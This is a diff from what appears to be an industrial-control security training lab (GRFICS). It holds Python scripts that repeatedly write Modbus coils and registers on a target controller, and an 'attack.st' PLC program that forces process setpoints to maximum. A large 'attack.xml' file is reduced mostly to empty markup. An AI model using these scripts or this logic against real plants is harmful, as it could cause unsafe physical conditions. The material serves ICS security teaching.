sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 